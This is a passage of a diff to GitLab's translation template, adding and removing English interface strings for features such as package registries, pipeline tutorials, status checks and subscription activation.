-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
